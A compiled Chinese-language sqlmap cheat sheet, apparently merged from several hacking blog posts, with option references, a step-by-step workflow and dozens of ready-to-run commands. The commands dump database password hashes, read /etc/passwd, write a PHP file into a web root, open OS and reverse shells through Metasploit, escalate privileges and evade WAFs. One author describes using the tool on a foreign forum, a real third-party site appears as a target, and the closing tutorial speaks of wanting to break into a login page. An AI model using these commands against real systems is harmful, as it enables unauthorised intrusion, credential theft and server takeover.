sqlmap参数大全
-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p “page,id”)
-D “”#指定数据库名
-T “”#指定表名
-C “”#指定字段
-s “”#保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log” 恢复:-s “
xx.log” –resume)
–columns #列出字段
–current-user #获取当前用户名称
–current-db #获取当前数据库名称
–users #列数据库所有用户
–passwords #数据库用户所有密码
–privileges #查看用户权限(–privileges -U root)
-U #指定数据库用户
–dbs #列出所有数据库
–tables -D “”#列出指定数据库中的表
–columns -T “user”-D “mysql”#列出mysql数据库中的user表的所有字段
–dump-all #列出所有数据库所有表
–exclude-sysdbs #只列出用户自己新建的数据库和表
–dump -T “”-D “”-C “”#列出指定数据库的表的字段的数据(–dump -T users -D master
-C surname)
–dump -T “”-D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据
–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft
Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
–privileges #查看权限
–is-dba #是否是数据库管理员
–roles #枚举数据库用户角色
–udf-inject #导入用户自定义函数(获取系统权限)
–union-check #是否支持union 注入
–union-cols #union 查询表记录
–union-test #union 语句测试
–union-use #采用union 注入
–union-tech orderby #union配合order by
–method “POST” –data “”#POST方式提交数据(–method “POST” –data “page=1&id=2″)
–cookie “用;号分开”#cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52;
security=low”)
–referer “”#使用referer欺骗(–referer “http://www.baidu.com”)
–user-agent “”#自定义user-agent
–proxy “http://127.0.0.1:8118″#代理注入
–string “”#指定关键词
–threads #采用多线程(–threads 3)
–sql-shell #执行指定sql命令
–sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user =
‘root’LIMIT 0, 1″)
–file-read #读取指定文件
–file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将
本地的test.txt文件写入到目标的1.txt)
–file-dest #要写入的文件绝对路径
–os-cmd=id #执行系统命令
–os-shell #系统交互shell
–os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/)
–msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)
–os-smbrelay #
–os-bof #
–reg-read #读取win系统注册表
–priv-esc #
–time-sec= #延迟设置 默认–time-sec=5 为5秒
-p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)”#指定
user-agent注入
–eta #盲注
/pentest/database/sqlmap/txt/
common-columns.txt 字段字典
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
常用语句
1.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -f -b –current-user –current-db –
users –passwords –dbs -v 0
2.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –passwords -U root –union-use -v 2
3.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –dump -T users -C username -D userdb
–start 2 –stop 3 -v 2
4.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –dump -C “user,pass” -v 1 –
exclude-sysdbs
5.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –sql-shell -v 2
6.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –file-read “c:\boot.ini” -v 2
7.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –file-write /test/test.txt –file-
dest /var/www/html/1.txt -v 2
8.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –os-cmd “id” -v 1
9.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –os-shell –union-use -v 2
10.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –os-pwn –msf-
path=/opt/framework/msf3 –priv-esc -v 1
11.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –os-pwn –msf-
path=/opt/framework/msf3 -v 1
12.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –os-bof –msf-
path=/opt/framework/msf3 -v 1
13.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 –reg-add –reg-key=”
HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap” –reg-value=Test –reg-type=REG_SZ –reg-data=1
14.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –eta
15.
./sqlmap.py -u “http://www.2cto.com/ sqlmap/mysql/get_str_brackets.php?id=1″-p id –
prefix “‘)” –suffix “AND (‘abc’='abc”
16.
./sqlmap.py -u “http://www.2cto.com/ sqlmap/mysql/basic/get_int.php?id=1″ –auth-type
Basic –auth-cred “testuser:testpass”
17.
./sqlmap.py -l burp.log –scope=”(www)?\.target\.(com|net|org)”
18.
./sqlmap.py -u “http://www.2cto.com/ sqlmap/mysql/get_int.php?id=1″ –tamper
tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
19.
./sqlmap.py -u “http://www.2cto.com/ sqlmap/mssql/get_int.php?id=1″ –sql-query
“SELECT ‘foo’” -v 1
20.
./sqlmap.py -u “http://www.2cto.com/ mysql/get_int_4.php?id=1″ –common-tables -D
testdb –banner
简单的注入流程
1.读取数据库版本,当前用户,当前数据库
sqlmap -u http://www.2cto.com/ test.php?p=2 -f -b –current-user –current-db -v 1
2.判断当前数据库用户权限
sqlmap -u http://www.2cto.com/ test.php?p=2 –privileges -U 用户名-v 1
sqlmap -u http://www.2cto.com/ test.php?p=2 –is-dba -U 用户名-v 1
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http://www.2cto.com/ test.php?p=2 –users –passwords -v 2
sqlmap -u http://www.2cto.com/ test.php?p=2 –passwords -U root -v 2
4.获取所有数据库
sqlmap -u http://www.2cto.com/ test.php?p=2 –dbs -v 2
5.获取指定数据库中的所有表
sqlmap -u http://www.2cto.com/ test.php?p=2 –tables -D mysql -v 2
6.获取指定数据库名中指定表的字段
sqlmap -u http://www.2cto.com/ test.php?p=2 –columns -D mysql -T users -v 2
7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http://www.2cto.com/ test.php?p=2 –dump -D mysql -T users -C
“username,password” -s “sqlnmapdb.log” -v 2
8.file-read读取web文件
sqlmap -u http://www.2cto.com/ test.php?p=2 –file-read “/etc/passwd” -v 2
9.file-write写入文件到web
sqlmap -u http://www.2cto.com/ test.php?p=2 –file-write /localhost/mm.php –file-dest /var/www/html/xx.php -v 2
--------------------------------------------------------------------------------------------------------------------------
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
0 #获取字段内容
******************信息获取******************
sqlmap -u “http://url/news?id=1″ –dbms “MySQL” –users # dbms 指定数 据库类型
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”
–start 1 –stop 20 #列出指定字段,列出20 条
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
sqlmap -u “http://url/news?id=1″-b #获取banner信息
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
***********高级用法*************
-p name 多个参数如index.PHP?n_id=1&name=2&data=2020 我们想指定name参数进行注入
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
–technique 测试指定注入类型\使用的技术
不加参数默认测试所有注入技术
• B: 基于布尔的SQL 盲注
• E: 基于显错sql 注入
• U: 基于UNION 注入
• S: 叠层sql 注入
• T: 基于时间盲注
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
–tamper 插件所在目录
\sqlmap-dev\tamper
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
level 执行测试等级 攻击实例:
Sqlmap -u “http://url/news?id=1&Submit=Submit”
–cookie=”PHPSESSID=41aa833e6d0d
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
–password
参考文档:http://sqlmap.sourceforge.NET/doc/README.html
***********安装最新版本*************
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
sudo vim /home/当前用户/.bashrc
#任意位置加上:
alias sqlmap=’Python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
如果想对所有用户有效 可设置全局 编辑下面的文件
vim /etc/profile
同样加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
******************windows 7 (x64) sqlmap install (SVN)************
http://www.python.org/getit/ 安装python
http://www.sliksvn.com/en/download 安装windows svn client
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安装sqlmap
*修改环境变量
–version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出
-v VERBOSE 详细级别:0-6(默认为1)
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
-d DIRECT 直接连接到数据库。
-u URL, –url=URL 目标URL。
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入HTTP 请求。
-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
-c CONFIGFILE 从INI 配置文件中加载选项。
Request(请求)::
这些选项可以用来指定如何连接到目标URL。
–data=DATA 通过POST 发送的数据字符串
–cookie=COOKIE HTTP Cookie 头
–cookie-urlencode URL 编码生成的cookie 注入
–drop-set-cookie 忽略响应的Set –Cookie 头信息
–user-agent=AGENT 指定 HTTP User –Agent 头
–random-agent 使用随机选定的HTTP User –Agent 头
–referer=REFERER 指定 HTTP Referer 头
–headers=HEADERS 换行分开,加入其他的HTTP 头
–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
–proxy=PROXY 使用HTTP 代理连接到目标URL
–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
–ignore-proxy 忽略系统默认的HTTP 代理
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)
–retries=RETRIES 连接超时后重新连接的时间(默认3)
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
–safe-url=SAFURL 在测试过程中经常访问的url 地址
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
-o 开启所有优化开关
–predict-output 预测常见的查询输出
–keep-alive 使用持久的HTTP(S)连接
–null-connection 从没有实际的HTTP 响应体中检索页面长度
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
Injection(注入):
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
-p TESTPARAMETER 可测试的参数(S)
–dbms=DBMS 强制后端的DBMS 为此值
–os=OS 强制后端的DBMS 操作系统为这个值
–prefix=PREFIX 注入payload 字符串前缀
–suffix=SUFFIX 注入 payload 字符串后缀
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
Detection(检测):
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
–level=LEVEL 执行测试的等级(1-5,默认为1)
–risk=RISK 执行测试的风险(0-3,默认为1)
–string=STRING 查询时有效时在页面匹配字符串
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
–text-only 仅基于在文本内容比较网页
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
–technique=TECH SQL 注入技术测试(默认BEUST)
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)
–union-cols=UCOLS 定列范围用于测试UNION 查询注入
–union-char=UCHAR 用于暴力猜解列数的字符
Fingerprint(指纹):
-f, –fingerprint 执行检查广泛的DBMS 版本指纹
Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
-b, –banner 检索数据库管理系统的标识
–current-user 检索数据库管理系统当前用户
–current-db 检索数据库管理系统当前数据库
–is-dba 检测DBMS 当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
–tables 枚举的DBMS 数据库中的表
–columns 枚举DBMS 数据库表列
–dump 转储数据库管理系统的数据库中的表项
–dump-all 转储所有的DBMS 数据库表中的条目
–search 搜索列(S),表(S)和/或数据库名称(S)
-D DB 要进行枚举的数据库名
-T TBL 要进行枚举的数据库表
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–start=LIMITSTART 第一个查询输出进入检索
–stop=LIMITSTOP 最后查询的输出进入检索
–first=FIRSTCHAR 第一个查询输出字的字符检索
–last=LASTCHAR 最后查询的输出字字符检索
–sql-query=QUERY 要执行的SQL 语句
–sql-shell 提示交互式SQL 的shell
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
–common-tables 检查存在共同表
–common-columns 检查存在共同列
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
–os-cmd=OSCMD 执行操作系统命令
–os-shell 交互式的操作系统的shell
–os-pwn 获取一个OOB shell,meterpreter 或VNC
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
–reg-read 读一个Windows 注册表项值
–reg-add 写一个Windows 注册表项值数据
–reg-del 删除Windows 注册表键值
–reg-key=REGKEY Windows 注册表键
–reg-value=REGVAL Windows 注册表项值
–reg-data=REGDATA Windows 注册表键值数据
–reg-type=REGTYPE Windows 注册表项值类型
General(一般): 这些选项可以用来设置一些一般的工作参数。
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
–flush-session 刷新当前目标的会话文件
–fresh-queries 忽略在会话文件中存储的查询结果
–eta 显示每个输出的预计到达时间
–update 更新SqlMap
–save file 保存选项到INI 配置文件
–batch 从不询问用户输入,使用所有默认配置。
Miscellaneous(杂项):
–beep 发现SQL 注入时提醒
–check-payload IDS 对注入payloads 的检测测试
–cleanup SqlMap 具体的UDF 和表清理DBMS
–forms 对目标URL 的解析和测试形式
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果
–page-rank Google dork 结果显示网页排名(PR)
–parse-errors 从响应页面解析数据库管理系统的错误消息
–replicate 复制转储的数据到一个sqlite3 数据库
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 给初级用户的简单向导界面
--------------------------------------------------------------------------------------------------------
1)判断当前用户是否是dba
python sqlmap.py -u "url" --is-dba -v 1
2)--users:列出数据库管理系统用户
python sqlmap.py -u "url" --users -v 0
3)--passwords:数据库用户密码(hash)
python sqlmap.py -u "url" --passwords -v 0
python sqlmap.py -u "url" --passwords -U sa -v 0
4)查看用户权限
python sqlmap.py -u "url" --privileges -v 0
python sqlmap.py -u "url" --privileges -U postgres -v 0
5)--dbs可以利用的数据库
python sqlmap.py -u "url" --dbs -v 0
6)--tables列数据库表
python sqlmap.py -u "url" --tables -D "information_scheam"
-D:指定数据名称
7)--columns 列出表中的列名
python sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1
-T:指定表名,-D:指定库名
8)--dump列表中指定列的内容
python sqlmap.py -u "url" --dump -T "users" -D "testdb"
-C:可以指定字段
指定列的范围为2到4
python sqlmap.py -u "url" --dump -T "users" -D "testdb" --start 2 --stop 4 -v 0
9)--dumap-all列出所有数据库,所有表内容
python sqlmap.py -u "url" --dump-all -v 0
只列出用户自己新建的数据库和表的内容
python sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0
10)--file读取文件内容[load_file()函数]
python sqlmap.py -u "url" --file /etc/password
11)执行SQL
python sqlmap.py -u "url" --sql-shell
12)-p 指定参数
python sqlmap.py -u "url" -v 1 -p "id"
-p可以指定多参数-p "cat,id"
13)POST提交
python sqlmap.py -u "url" --method POST --data "id=1"
14)COOKIE提交
python sqlmap.py -u "url" --cookie "id=1" -v 1
cookie值可以由TamperData抓取
15)refer欺骗
python sqlmap.py -u "url" --refer "url" -v 3
16)使用自定义user-agent或者user-agents.txt
python sqlmap.py -u "url" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
python sqlmap.py -u "url" -v 1 -a "./txt/user-agents.txt"
17)使用多线程猜解
python sqlmap.py -u "url" -v 1 --current-user --threads 3
18)指定数据库,绕过SQLMAP的自动检测
python sqlmap.py -u "url" -v 2 --dbms "PostgreSQL"
19)指定操作系统绕过SQLMAP自动检测
python sqlmap.py -u "url" -v 2 --os "Windows"
20)--prefix and --postfix自定义payload
python sqlmap.py -u "url" -v 3 -p "id" --prefix "'" --postfix "and 'test'='test"
21)union注入测试
python sqlmap.py -u "url" --union-test -v -1
22)配合order by
python sqlmap.py -u "url" --union-test --union-tech orderby -v 1
23)python sqlmap.py -u "url" -v 1 --union-use --banner
24)python sqlmap.py -u "url" -v 5 --union-use --current-user
25)python sqlmap.py -u "url" -v 1 --union-use --dbs
-------------------------------------------------------------------------------------------
更新
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1" -v 1 --sql-shell //执行SQL语句
sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1" -v 5 //更详细的信息
load options from a configuration INI file
sqlmap -c sqlmap.conf
使用POST方法提交
sqlmap.py -u "http://192.168.1.121/sqlmap/Oracle/post_int.php" --method POST --data "id=1"
使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie "id=1" -v 1
使用referer欺骗
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer "http://www.google.com" -v 3
使用自定义user-agent,或者使用随机使用自带的user-agents.txt
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -a "./txt/user-agents.txt"
使用基本认证
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass" -v 3
使用Digest认证
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" --auth-type Digest --auth-cred "testuser:testpass" -v 3
使用代理,配合TOR
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:3128"
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:8118"
使用多线程猜解
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 --current-user --threads 3
绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -p "id
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -p "cat,id"
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.Net)"
指定数据库,绕过SQLMAP的自动检测
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --dbms "PostgreSQL"
* MySQL
* Oracle
* PostgreSQL
* Microsoft SQL Server
指定操作系统,绕过SQLMAP自动检测
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --os "Windows"
* Linux
* Windows
自定义payload
Options: --prefix and --postfix
In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.
Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = "SELECT * FROM users WHERE id=(" . $_GET[id] . ") LIMIT 0, 1";:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 -p "id" --prefix "" --postfix "AND test=test"
[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter id with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter id
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter id is custom injectable
[...]
As you can see, the injection payload for testing for custom injection is:
id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
which URL decoded is:
id=1) AND 7433=7433 AND (test=test
and makes the query syntatically correct to the page query:
SELECT * FROM users WHERE id=(1) AND 7433=7433 AND (test=test) LIMIT 0, 1
In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.
页面比较
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --string "luther" -v 1
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --regexp "<td>lu[w][w]er" -v
排除网站的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --excl-reg "Dynamic content: ([d]+)"
多语句测试,php内嵌函数mysql_query(),不支持多语句
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --stacked-test -v 1
union注入测试
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --union-test -v 1
unionz注入配合orderby
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" --union-test --union-tech orderby -v 1
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 --union-use --banner
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 --union-use --current-user
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 --union-use --dbs
fingerprint
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f
python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b
判断当前用户是否是dba
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 1
列举数据库用户
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --users -v 0
列举数据库用户密码
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --passwords -U sa -v 0
查看用户权限
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --privileges -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --privileges -U postgres -v 0
列数据库
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v 0
列出指定数据库指定表的列名
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns -T users -D test -v 1
列出指定数据库的指定表的指定列的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump -T users -D master -C surname -v 0
指定列的范围从2-4
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump -T users -D test --start 2 --stop 4 -v 0
导出所有数据库,所有表的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0
只列出用户自己新建的数据库和表的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump-all --exclude-sysdbs -v 0
sql query
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query "SELECT usename FROM pg_user" -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 1
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------
最近看到很多大牛发sqlmap的视频教程。
然后偶就屁颠屁颠滚去下了一个,然后尼玛,一连从头看到尾。。。。。。各种科普啊,看视频有点浪费时间。
各位别去被坑爹了,来个sqlmap 简易教程算了,何必浪费看视频的时间。
sqlmap 再牛逼也就是个python的脚本,脚本再牛逼也得有–help -hh
所以第一件事当然是滚去看帮助文档。
sqlmap -hh
我操。。。。。。。这么多英文,多少只草泥马在心中奔腾,咋办,硬着头皮看呗,有些人头皮硬不了咋办,简单,来,哥教你简单的
注入分法不同,种类不同,来个简单的分类:
1.get型:sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx”
2.post型: sqlmap -u “http://xxx.xx.xxx/xx.xxx” –data=”xxxx=xxxx&xxxx=xxx”
3.cookie类注入: sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” –cookie=”xxx=xxx&xxx=xxx” –level=2
好,区分完毕再来后续的
需要数据库好:–dbs
得到数据库名称xxx,需要表: -D xxx –tables
得到表名xxxx,需要段:-D xxx -T xxxx –columns
得到段内有admin,password,需要值:-D xxx -T xxxx -C “admin,password” –dump
那么我们来理解一下,-D -T -C 是干吗的,当然就是知道其名称,指定使用其。
–dbs –tables –columns 是干吗的,当然就是不知道名称,列出来呗
–dump 那自然就是字面意思,类似于导出数据的行为
其实注入有了上面这几个命令,妥妥的够用了,不过还需要绕waf –tamper=”"
注入被识别出来是工具,断开咋办–user-agent=”"
再多牛逼的功能都是慢慢积累出来的,别想一口吃成胖子
好,跑数据库就是这么简单,于是呢来一个稍微有点干货的例子:
http://www.xxx.com/login.asp有post注入,我想日了,但是我不想出去拷贝post数据,很麻烦,我想让sqlmap自动跑post注入
